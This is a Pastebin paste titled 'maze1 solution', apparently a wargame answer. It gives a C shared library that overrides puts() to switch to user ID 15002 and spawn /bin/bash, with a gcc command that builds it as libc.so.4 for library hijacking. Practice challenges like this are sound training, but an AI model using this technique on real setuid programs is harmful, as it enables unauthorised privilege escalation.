Advertisement
Guest User

maze1 solution

a guest
Mar 25th, 2019
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. 1 #include <stdio.h>
  2. 2 #include <stdlib.h>
  3. 3 #include <sys/types.h>
  4. 4 #include <unistd.h>
  5. 5 int puts(const char *s) {
  6. 6
  7. 7 // printf("start shell \n\n");
  8. 8 setuid(15002);
  9. 9 setreuid(15002,15002);
  10. 10 system("/bin/bash");
  11. 11 }
  12.  
  13. gcc -shared maze1.c -m32 -o libc.so.4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement